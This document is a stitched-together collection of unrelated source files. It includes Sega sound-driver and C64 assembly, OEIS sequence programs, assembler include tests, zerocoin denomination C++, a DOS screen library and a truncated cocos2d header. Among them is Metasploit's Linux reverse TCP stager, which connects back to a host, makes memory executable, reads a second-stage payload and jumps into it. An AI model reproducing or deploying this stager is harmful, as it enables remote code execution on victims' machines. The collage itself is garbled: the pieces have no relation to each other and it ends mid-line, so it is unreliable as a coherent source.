dPlaySnd_ToWater: if FEATURE_UNDERWATER bset #mfbWater,mFlags.w ; enable underwater mode bra.s dReqVolUpFM ; request FM volume update endif ; =========================================================================== ; --------------------------------------------------------------------------- ; Disable Underwater mode ; --------------------------------------------------------------------------- dPlaySnd_OutWater: if FEATURE_UNDERWATER bclr #mfbWater,mFlags.w ; disable underwater mode else rts endif ; =========================================================================== ; --------------------------------------------------------------------------- ; Force volume update on all FM channels ; ; thrash: ; d6 - Used for quickly OR-ing the value ; --------------------------------------------------------------------------- dReqVolUpFM: moveq #1<<cfbVol,d6 ; prepare volume update flag to d6 .ch = mSFXFM3 ; start at SFX FM3 rept SFX_FM ; loop through all SFX FM channels or.b d6,.ch.w ; request channel volume update .ch = .ch+cSizeSFX ; go to next channel endr ; --------------------------------------------------------------------------- dReqVolUpMusicFM: moveq #1<<cfbVol,d6 ; prepare volume update flag to d6 .ch = mFM1 ; start at FM1 rept Mus_FM ; loop through all music FM channels or.b d6,.ch.w ; request channel volume update .ch = .ch+cSize ; go to next channel endr locret_ReqVolUp: rts ; ---------------------------------------------------------------------------
// *=$3000 "Lookup tables" outer_chars_hi: .byte $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $d9, $d9 outer_chars_lo: .byte $e6, $e6, $be, $be, $be, $be, $96, $96, $96, $96, $6e, $6e, $6e, $6f, $47, $47, $47, $47, $47, $1f, $1f, $1f, $20, $f8, $f8, $f8, $f8, $f8, $d0, $d1, $d1, $d1, $d1, $d1, $a9, $aa, $aa, $aa, $aa, $aa, $ab, $83, $83, $83, $84, $84, $84, $84, $84, $85, $5d, $5d, $5d, $5e, $5e, $5e, $5e, $5f, $5f, $5f, $5f, $60, $60, $60, $60, $61, $61, $61, $61, $62, $62, $62, $62, $63, $63, $63, $63, $8b, $8c, $8c, $8c, $8c, $8d, $8d, $8d, $8d, $b5, $b6, $b6, $b6, $b6, $b6, $b7, $df, $df, $df, $df, $e0, $e0, $08, $08, $08, $08, $08, $31, $31, $31, $31, $59, $59, $59, $59, $5a, $82, $82, $82, $82, $aa, $aa, $aa, $aa, $d2, $d2, $d2, $d2, $fa, $fa, $fa, $fa, $22, $22, $22, $22, $4a, $4a, $4a, $4a, $72, $72, $72, $72, $72, $9a, $99, $99, $99, $c1, $c1, $c1, $c1, $c1, $e8, $e8, $e8, $e8, $e8, $10, $10, $0f, $0f, $0f, $37, $37, $36, $36, $36, $36, $36, $5d, $5d, $5d, $5d, $5d, $5c, $5c, $5c, $84, $83, $83, $83, $83, $83, $82, $82, $82, $82, $81, $81, $81, $81, $80, $80, $80, $80, $7f, $7f, $7f, $7f, $7e, $7e, $7e, $7e, $7d, $7d, $7d, $7d, $7c, $54, $54, $54, $54, $53, $53, $53, $53, $2a, $2a, $2a, $2a, $2a, $29, $29, $01, $01, $01, $01, $00, $d8, $d8, $d8, $d8, $d8, $b0, $af, $af, $af, $af, $87, $87, $87, $87, $5f, $5e, $5e, $5e, $5e, $36, $36, $36, $36, $0e, $0e, $0e, $0e, $e6, $e6 middle_chars_hi: .byte $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $d9, $d9 middle_chars_lo: .byte $e5, $e5, $bd, $bd, $bd, $95, $95, $95, $95, $6d, $6d, $6d, $6d, $45, $46, $46, $46, $1e, $1e, $1e, $1e, $f6, $f7, $f7, $f7, $cf, $cf, $cf, $d0, $d0, $a8, $a8, $a8, $a9, $a9, $81, $81, $81, $82, $82, $82, $5a, $5b, $5b, $5b, $5b, $5c, $5c, $5c, $34, $35, $35, $35, $35, $36, $36, $36, $36, $37, $37, $37, $38, $38, $38, $38, $39, $39, $39, $39, $3a, $3a, $3a, $3b, $3b, $3b, $3b, $3c, $3c, $64, $64, $65, $65, $65, $65, $66, $66, $8e, $8e, $8f, $8f, $8f, $8f, $b7, $b8, $b8, $b8, $b8, $e0, $e1, $e1, $e1, $e1, $09, $09, $0a, $0a, $32, $32, $32, $32, $5a, $5a, $5b, $5b, $83, $83, $83, $83, $ab, $ab, $ab, $ab, $d3, $d3, $d3, $fb, $fb, $fb, $fb, $23, $23, $23, $23, $4b, $4b, $4b, $73, $73, $73, $73, $9b, $9b, $9b, $9a, $c2, $c2, $c2, $c2, $ea, $ea, $ea, $e9, $11, $11, $11, $11, $11, $38, $38, $38, $38, $38, $5f, $5f, $5f, $5f, $5f, $5e, $86, $86, $86, $85, $85, $85, $85, $84, $ac, $ac, $ac, $ab, $ab, $ab, $ab, $aa, $aa, $aa, $a9, $a9, $a9, $a9, $a8, $a8, $a8, $a8, $a7, $a7, $a7, $a6, $a6, $a6, $a6, $a5, $a5, $a5, $a5, $a4, $a4, $7c, $7c, $7b, $7b, $7b, $7b, $7a, $7a, $52, $52, $51, $51, $51, $51, $29, $28, $28, $28, $28, $00, $ff, $ff, $ff, $ff, $d7, $d7, $d6, $d6, $ae, $ae, $ae, $ae, $86, $86, $85, $85, $5d, $5d, $5d, $5d, $35, $35, $35, $0d, $0d, $0d, $0d, $e5, $e5 inner_chars_hi: .byte $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $d9, $d9 inner_chars_lo: .byte $e4, $bc, $bc, $bc, $bc, $94, $94, $94, $6c, $6c, $6c, $44, $44, $44, $45, $1d, $1d, $1d, $f5, $f5, $f5, $f5, $ce, $ce, $ce, $ce, $a6, $a6, $a7, $a7, $a7, $7f, $80, $80, $80, $58, $58, $59, $59, $59, $59, $32, $32, $32, $32, $33, $33, $33, $34, $0c, $0c, $0c, $0d, $0d, $0d, $0e, $0e, $0e, $0f, $0f, $0f, $0f, $10, $10, $10, $11, $11, $11, $12, $12, $12, $12, $13, $13, $13, $14, $14, $14, $3d, $3d, $3d, $3d, $3e, $3e, $3e, $3e, $67, $67, $67, $67, $68, $68, $90, $90, $91, $91, $b9, $b9, $b9, $ba, $ba, $e2, $e2, $e2, $e3, $0b, $0b, $0b, $0b, $33, $33, $33, $5c, $5c, $5c, $5c, $84, $84, $84, $ac, $ac, $ac, $d4, $d4, $d4, $d4, $fc, $fc, $fc, $24, $24, $24, $4c, $4c, $4c, $4c, $74, $74, $74, $9c, $9c, $9c, $c4, $c3, $c3, $c3, $eb, $eb, $eb, $eb, $13, $12, $12, $12, $3a, $3a, $39, $39, $61, $61, $61, $60, $60, $88, $88, $87, $87, $87, $af, $ae, $ae, $ae, $ae, $ad, $ad, $ad, $d5, $d4, $d4, $d4, $d3, $d3, $d3, $d2, $d2, $d2, $d2, $d1, $d1, $d1, $d0, $d0, $d0, $cf, $cf, $cf, $cf, $ce, $ce, $ce, $cd, $cd, $cd, $cc, $cc, $cc, $cc, $a3, $a3, $a3, $a2, $a2, $a2, $a2, $a1, $79, $79, $79, $78, $78, $50, $50, $50, $4f, $4f, $27, $27, $26, $26, $fe, $fe, $fe, $fe, $d5, $d5, $d5, $d5, $ad, $ad, $ad, $ad, $84, $84, $84, $5c, $5c, $5c, $34, $34, $34, $34, $0c, $0c, $0c, $e4, $e4 // Sprite positions sprite_x_prev_angle: .byte $36, $36 sprite_x_angle: .byte $36, $36 sprite_x_next_angle: .byte $36, $36, $37, $37, $37, $38, $38, $39, $39, $3a, $3b, $3b, $3c, $3d, $3e, $3f, $40, $41, $42, $43, $44, $45, $46, $48, $49, $4a, $4c, $4d, $4f, $50, $52, $54, $55, $57, $59, $5a, $5c, $5e, $60, $62, $64, $66, $68, $6a, $6c, $6e, $70, $72, $74, $76, $78, $7a, $7c, $7e, $81, $83, $85, $87, $89, $8c, $8e, $90, $92, $94, $97, $99, $9b, $9d, $9f, $a2, $a4, $a6, $a8, $aa, $ac, $ae, $b0, $b2, $b4, $b6, $b8, $ba, $bc, $be, $c0, $c2, $c4, $c6, $c7, $c9, $cb, $cc, $ce, $d0, $d1, $d3, $d4, $d6, $d7, $d8, $da, $db, $dc, $dd, $de, $df, $e0, $e1, $e2, $e3, $e4, $e5, $e5, $e6, $e7, $e7, $e8, $e8, $e9, $e9, $e9, $ea, $ea, $ea, $ea, $ea, $ea, $ea, $ea, $ea, $e9, $e9, $e9, $e8, $e8, $e7, $e7, $e6, $e5, $e5, $e4, $e3, $e2, $e1, $e0, $df, $de, $dd, $dc, $db, $da, $d8, $d7, $d6, $d4, $d3, $d1, $d0, $ce, $cc, $cb, $c9, $c7, $c6, $c4, $c2, $c0, $be, $bc, $ba, $b8, $b6, $b4, $b2, $b0, $ae, $ac, $aa, $a8, $a6, $a4, $a2, $9f, $9d, $9b, $99, $97, $94, $92, $90, $8e, $8c, $89, $87, $85, $83, $81, $7e, $7c, $7a, $78, $76, $74, $72, $70, $6e, $6c, $6a, $68, $66, $64, $62, $60, $5e, $5c, $5a, $59, $57, $55, $54, $52, $50, $4f, $4d, $4c, $4a, $49, $48, $46, $45, $44, $43, $42, $41, $40, $3f, $3e, $3d, $3c, $3b, $3b, $3a, $39, $39, $38, $38, $37, $37, $37, $36, $36, $36, $36, $36, $36, $36 sprite_y_prev_angle: .byte $8e, $8c sprite_y_angle: .byte $8a, $88 sprite_y_next_angle: .byte $85, $83, $81, $7f, $7d, $7a, $78, $76, $74, $72, $70, $6e, $6c, $6a, $68, $66, $64, $62, $60, $5e, $5c, $5a, $58, $56, $55, $53, $51, $50, $4e, $4c, $4b, $49, $48, $46, $45, $44, $42, $41, $40, $3f, $3e, $3d, $3c, $3b, $3a, $39, $38, $37, $37, $36, $35, $35, $34, $34, $33, $33, $33, $32, $32, $32, $32, $32, $32, $32, $32, $32, $33, $33, $33, $34, $34, $35, $35, $36, $37, $37, $38, $39, $3a, $3b, $3c, $3d, $3e, $3f, $40, $41, $42, $44, $45, $46, $48, $49, $4b, $4c, $4e, $50, $51, $53, $55, $56, $58, $5a, $5c, $5e, $60, $62, $64, $66, $68, $6a, $6c, $6e, $70, $72, $74, $76, $78, $7a, $7d, $7f, $81, $83, $85, $88, $8a, $8c, $8e, $90, $93, $95, $97, $99, $9b, $9e, $a0, $a2, $a4, $a6, $a8, $aa, $ac, $ae, $b0, $b2, $b4, $b6, $b8, $ba, $bc, $be, $c0, $c2, $c3, $c5, $c7, $c8, $ca, $cc, $cd, $cf, $d0, $d2, $d3, $d4, $d6, $d7, $d8, $d9, $da, $db, $dc, $dd, $de, $df, $e0, $e1, $e1, $e2, $e3, $e3, $e4, $e4, $e5, $e5, $e5, $e6, $e6, $e6, $e6, $e6, $e6, $e6, $e6, $e6, $e5, $e5, $e5, $e4, $e4, $e3, $e3, $e2, $e1, $e1, $e0, $df, $de, $dd, $dc, $db, $da, $d9, $d8, $d7, $d6, $d4, $d3, $d2, $d0, $cf, $cd, $cc, $ca, $c8, $c7, $c5, $c3, $c2, $c0, $be, $bc, $ba, $b8, $b6, $b4, $b2, $b0, $ae, $ac, $aa, $a8, $a6, $a4, $a2, $a0, $9e, $9b, $99, $97, $95, $93, $90, $8e, $8c, $8a, $88 // color ramp spacebar_color_ramp: .byte 15, 12, 11, 0, 11, 12
; A032513: Sum of the integer part of 5th roots of positive integers less than or equal to n. ; 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107 mov $1,$0 add $1,4 mov $2,7 mov $3,$0 lpb $2,1 trn $1,5 sub $2,1 lpe add $1,$3
; ::: cpu/cpu.asm #ruledef test { halt => 0x55 } ; ::: code/code.asm halt ; ::: code/code2.asm #include "code.asm" ; ::: code3.asm #include "code/code.asm" ; ::: code/code4.asm #include "../code3.asm" ; ::: code/code5.asm #include "/code3.asm" ; ::: #include "cpu/cpu.asm" #include "code/code.asm" ; = 0x55 ; ::: #include "./cpu/./cpu.asm" #include "././code///code.asm" #include "/code/code.asm/" #include "code/../unk/../code/unk/unk/../../code.asm" #include ".\\code\\\\code.asm" ; = 0x55555555 ; ::: #include "cpu/cpu.asm" #include "code/code2.asm" ; = 0x55 ; ::: #include "cpu/cpu.asm" #include "code/code2.asm" ; = 0x55 ; ::: #include "cpu/cpu.asm" #include "code3.asm" ; = 0x55 ; ::: #include "cpu/cpu.asm" #include "code/code4.asm" ; = 0x55 ; ::: #include "cpu/cpu.asm" #include "code/code5.asm" ; = 0x55 ; ::: #include "../cpu.asm" ; error: out of project directory
; A171071: A bisection of A178482. ; 3,7,10,18,21,25,28,47,50,54,57,65,68,72,75,123,126,130,133,141,144,148,151,170,173,177,180,188,191,195,198,322,325,329,332,340,343,347,350,369,372,376,379,387,390,394,397,445,448,452,455,463,466,470,473,492,495,499,502,510,513,517,520,843,846,850,853,861,864,868,871,890,893,897,900,908,911,915,918,966,969,973,976,984,987,991,994,1013,1016,1020,1023,1031,1034,1038,1041,1165,1168,1172,1175,1183 mov $2,$0 mov $4,$0 add $4,1 lpb $4 mov $0,$2 sub $4,1 sub $0,$4 seq $0,7814 ; Exponent of highest power of 2 dividing n, a.k.a. the binary carry sequence, the ruler sequence, or the 2-adic valuation of n. seq $0,5592 ; a(n) = F(2n+1) + F(2n-1) - 1. mul $0,9 mov $3,$0 sub $3,9 div $3,9 add $3,3 add $1,$3 lpe mov $0,$1
/** * @file Denominations.cpp * * @brief Functions for converting to/from Zerocoin Denominations to other values library. * * @copyright Copyright 2017 PIVX Developers * @license This project is released under the MIT license. **/ // Copyright (c) 2019 The Diytube Core Developers #include "Denominations.h" #include "amount.h" namespace libzerocoin { // All denomination values should only exist in these routines for consistency. // For serialization/unserialization enums are converted to int (denoted enumvalue in function name) CoinDenomination IntToZerocoinDenomination(int64_t amount) { CoinDenomination denomination; switch (amount) { case 1: denomination = CoinDenomination::ZQ_ONE; break; case 5: denomination = CoinDenomination::ZQ_FIVE; break; case 10: denomination = CoinDenomination::ZQ_TEN; break; case 50: denomination = CoinDenomination::ZQ_FIFTY; break; case 100: denomination = CoinDenomination::ZQ_ONE_HUNDRED; break; case 500: denomination = CoinDenomination::ZQ_FIVE_HUNDRED; break; case 1000: denomination = CoinDenomination::ZQ_ONE_THOUSAND; break; default: //not a valid denomination denomination = CoinDenomination::ZQ_ERROR; break; } return denomination; } int64_t ZerocoinDenominationToInt(const CoinDenomination& denomination) { int64_t Value = 0; switch (denomination) { case CoinDenomination::ZQ_ONE: Value = 1; break; case CoinDenomination::ZQ_FIVE: Value = 5; break; case CoinDenomination::ZQ_TEN: Value = 10; break; case CoinDenomination::ZQ_FIFTY : Value = 50; break; case CoinDenomination::ZQ_ONE_HUNDRED: Value = 100; break; case CoinDenomination::ZQ_FIVE_HUNDRED: Value = 500; break; case CoinDenomination::ZQ_ONE_THOUSAND: Value = 1000; break; default: // Error Case Value = 0; break; } return Value; } CoinDenomination AmountToZerocoinDenomination(CAmount amount) { // Check to make sure amount is an exact integer number of COINS CAmount residual_amount = amount - COIN * (amount / COIN); if (residual_amount == 0) { return IntToZerocoinDenomination(amount/COIN); } else { return CoinDenomination::ZQ_ERROR; } } // return the highest denomination that is less than or equal to the amount given // use case: converting DIYT to zDIYT without user worrying about denomination math themselves CoinDenomination AmountToClosestDenomination(CAmount nAmount, CAmount& nRemaining) { if (nAmount < 1 * COIN) return ZQ_ERROR; CAmount nConvert = nAmount / COIN; CoinDenomination denomination = ZQ_ERROR; for (unsigned int i = 0; i < zerocoinDenomList.size(); i++) { denomination = zerocoinDenomList[i]; //exact match if (nConvert == denomination) { nRemaining = 0; return denomination; } //we are beyond the value, use previous denomination if (denomination > nConvert && i) { CoinDenomination d = zerocoinDenomList[i - 1]; nRemaining = nConvert - d; return d; } } //last denomination, the highest value possible nRemaining = nConvert - denomination; return denomination; } CAmount ZerocoinDenominationToAmount(const CoinDenomination& denomination) { CAmount nValue = COIN * ZerocoinDenominationToInt(denomination); return nValue; } CoinDenomination get_denomination(std::string denomAmount) { int64_t val = std::stoi(denomAmount); return IntToZerocoinDenomination(val); } int64_t get_amount(std::string denomAmount) { int64_t nAmount = 0; CoinDenomination denom = get_denomination(denomAmount); if (denom == ZQ_ERROR) { // SHOULD WE THROW EXCEPTION or Something? nAmount = 0; } else { nAmount = ZerocoinDenominationToAmount(denom); } return nAmount; } } /* namespace libzerocoin */
name: .asciiz "Eduardo " _start: mov r7, 0 mov r6, 1 loop: mov r1, name mov r0, 1 # 1 is print string service syscall mov r1, 0 add r1, r1, r7 mov r0, 3 # 3 is integer print service syscall mov r0, 2 # 2 is newline print service syscall add r7, r7, r6 jump loop
;; ; ; Name: stager_sock_reverse ; Qualities: Can Have Nulls ; Version: $Revision: 1512 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Implementation of a Linux reverse TCP stager. ; ; File descriptor in edi. ; ; Meta-Information: ; ; meta-shortname=Linux Reverse TCP Stager ; meta-description=Connect back to the framework and run a second stage ; meta-authors=skape <mmiller [at] hick.org> ; meta-os=linux ; meta-arch=ia32 ; meta-category=stager ; meta-connection-type=reverse ; meta-name=reverse_tcp ; meta-basemod=Msf::PayloadComponent::ReverseConnection ; meta-offset-lhost=0x12 ; meta-offset-lport=0x19 ;; BITS 32 GLOBAL _start _start: xor ebx, ebx mul ebx ; int socket(int domain, int type, int protocol); socket: push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp inc ebx ; 1 = SYS_SOCKET push ebx ; type = 1 = SOCK_STREAM push byte 0x2 ; domain = 2 = AF_INET mov al, 0x66 ; __NR_socketcall mov ecx, esp ; socketcall args int 0x80 xchg eax, edi ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); connect: pop ebx push dword 0x0100007f ; addr->sin_addr = 127.0.0.1 push 0xbfbf0002 ; addr->sin_port = 49087 ; addr->sin_family = 2 = AF_INET mov ecx, esp ; ecx = addr push byte 0x66 ; __NR_socketcall pop eax push eax ; addrlen push ecx ; addr push edi ; sockfd mov ecx, esp ; socketcall args inc ebx ; 3 = SYS_CONNECT int 0x80 %ifndef USE_SINGLE_STAGE ; int mprotect(const void *addr, size_t len, int prot); mprotect: mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems) mov ebx, esp ; addr shr ebx, 12 ; ensure that addr is page-aligned shl ebx, 12 mov al, 0x7d ; __NR_mprotect int 0x80 ; ssize_t read(int fd, void *buf, size_t count); recv: pop ebx ; sockfd mov ecx, esp ; buf cdq mov dh, 0xc ; count = 0xc00 mov al, 0x3 ; __NR_read int 0x80 jmp ecx %endif
; library to work with default for MS DOS CGA mode (80 x 25) %PAGESIZE 255, 255 IDEAL P486N MODEL small STACK 200h INCLUDE "Types.inc" PUBLIC PrintString, ClearScreen, SetCursorPosition, DisableCursor, GetCharAtCursor DATASEG CurYPos DB 0 ; Cursor Y position CurXPos DB 0 ; Cursor X position BytesPerRow DB ScreenWidth * 2 ; Bytes oer screen row (80 characters, each having ASCII code and color attribute) CODESEG ;---------------------------------------------------------------------------------- ; PrintString Procedure for printing string structures ;---------------------------------------------------------------------------------- ; Input: ; SI - Address of string structure to print ; Output: ; none ; Registers: ; ;---------------------------------------------------------------------------------- PROC PrintString push es ; save extra segment pointer push si ; save address of string push ax ; push cx ; push dx push di mov ax, VideoBuffer ; load in ES address of the mov es, ax ; Video buffer segment movzx ax, [CurYPos] ; Get Y coordinate mul [BytesPerRow] ; multiply by number of bytes per row movzx dx, [CurXPos] ; and add x coordinate add ax, dx ; multiply by 2 add ax, dx ; (2 bytes per character) mov di, ax ; set screen offset to starting position movzx cx, [(sString si).sLength] ; get string length inc si ; get address of string's text buffer or cx, cx ; check for empty string jz @@end ; if yes - exit loop cld ; forward direction of copying @@loop: lodsb ; get string character cmp al, CR ; check if it's "Carriage return" jne @@LF ; skip if not movzx dx, [CurXPos] ; if yes, get cursor x position add dx, dx ; multiply by 2 sub di, dx ; and subtract from current screen position mov [CurXPos], 0 ; zeroing Cursor X position jmp @@skip ; skip printing current symbol and move on to the next @@LF: cmp al, LF ; check if current symbol is "Line Feed" jne @@PRN ; if not skip this block and go to symbol printing inc [CurYPos] ; increse cursor y position movzx dx, [BytesPerRow] ; get number of bytes per row add di, dx ; and forward current screen adress by row jmp @@skip ; skip printing current symbol @@PRN: stosb ; print character inc [CurXPos] ; advance cursor forward inc di ; skip attribute byte cmp [CurXPos], ScreenWidth ; check cursor X position jbe @@skip ; if more then screen width mov [CurXPos], 0 ; reset it to zero inc [CurYPos] ; and increase Y position @@skip: loop @@loop ; loop to the end of string @@end: pop di pop dx pop cx pop ax pop si ; restore address of string pop es ; restore extra segment pointer ret ; return ENDP ;---------------------------------------------------------------------------------- ; ClearScreen Procedure for clearing screen ;---------------------------------------------------------------------------------- ; Input: ; none ; Output: ; none ; Registers: ; AX, CX ;---------------------------------------------------------------------------------- PROC ClearScreen push di ; save caller's DI push es ; save extra segment pointer mov ax, VideoBuffer ; load in ES address of mov es, ax ; Video buffer segment mov ax, SpaceChar ; get space character with default attributes xor di, di ; set offset to screen start mov cx, VideoMemSize / 2 ; as we will store words, we need half cld ; from start to end rep stosw ; clear screen pop es ; restore ES segment pop di ; restore caller's DI ret ; return ENDP ;---------------------------------------------------------------------------------- ; SetCursorPosition Set cursor at certain position ;---------------------------------------------------------------------------------- ; Input: ; AH - X position ; AL - Y position ; Output: ; none ; Registers: ; none ;---------------------------------------------------------------------------------- PROC SetCursorPosition mov [CurXPos], ah mov [CurYPos], al ret ENDP ;---------------------------------------------------------------------------------- ; DisableCursor Hide cursor ;---------------------------------------------------------------------------------- ; Input: ; none ; Output: ; none ; Registers: ; none ;---------------------------------------------------------------------------------- PROC DisableCursor push ax push cx mov ah, 01h mov cx, 2000h int 10h pop cx pop ax ret ENDP ;---------------------------------------------------------------------------------- ; GetCharAtCursor Get character from cursor's position ;---------------------------------------------------------------------------------- ; Input: ; none ; Output: ; AL - Character code ; AH - Attribute code ; Registers: ; AX ;---------------------------------------------------------------------------------- PROC GetCharAtCursor push es mov ax, VideoBuffer ; load in ES address of the mov es, ax ; Video buffer segment movzx ax, [CurYPos] ; Get Y coordinate mul [BytesPerRow] ; multiply by number of bytes per row movzx dx, [CurXPos] ; and add x coordinate add ax, dx ; multiply by 2 add ax, dx ; (2 bytes per character) mov bx, ax ; move offset to bx mov ax, [es:bx] ; get character (AL) and attribute (AH) pop es ; restore ES ret ENDP END
; void dzx7_mega(void *src, void *dst) SECTION code_clib SECTION code_compress_zx7 PUBLIC dzx7_mega EXTERN asm_dzx7_mega dzx7_mega: pop af pop de pop hl push hl push de push af jp asm_dzx7_mega
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Print Driver FILE: stylesSRSuperscript.asm AUTHOR: Dave Durran ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 5/92 Parsed from oki9Styles.asm DC_ESCRIPTION: $Id: stylesSRSuperscript.asm,v 1.1 97/04/18 11:51:49 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetSuperscript proc near mov si,offset cs:pr_codes_SetSuperscript jmp SendCodeOut SetSuperscript endp ResetSuperscript proc near mov si,offset cs:pr_codes_ResetSuperscript jmp SendCodeOut ResetSuperscript endp
/**************************************************************************** Copyright (C) 2013 Henry van Merode. All rights reserved. Copyright (c) 2015 Chukong Technologies Inc. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "CCPURandomiser.h" #include 